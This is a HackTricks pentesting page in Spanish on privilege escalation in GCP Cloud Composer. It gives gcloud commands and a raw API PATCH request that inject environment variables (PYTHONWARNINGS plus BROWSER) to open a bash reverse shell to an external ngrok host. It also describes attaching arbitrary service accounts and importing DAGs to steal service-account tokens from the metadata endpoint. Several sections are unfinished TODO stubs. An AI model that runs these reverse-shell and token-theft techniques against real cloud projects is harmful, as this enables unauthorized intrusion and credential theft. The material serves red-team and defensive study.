GCP - Composer Privesc

Apoya a HackTricks

composer

Más información en:

GCP - Composer Enum

composer.environments.create

Es posible adjuntar cualquier cuenta de servicio al entorno de composer recién creado con ese permiso. Luego podrías ejecutar código dentro de composer para robar el token de la cuenta de servicio.

gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

Más información sobre la explotación aquí.

composer.environments.update

Es posible actualizar el entorno de composer, por ejemplo, modificando variables de entorno:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}

TODO: Obtener RCE añadiendo nuevos paquetes pypi al entorno

Descargar Dags

Revisa el código fuente de los dags que se están ejecutando:

mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Importar Dags

Importar el código de Dags para comprometer el entorno y poder robar el token del endpoint de metadatos:

# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd

Importar Plugins

TODO: Verificar qué es posible comprometer subiendo plugins

Importar Datos

TODO: Verificar qué es posible comprometer subiendo datos

Apoya a HackTricks

Last updated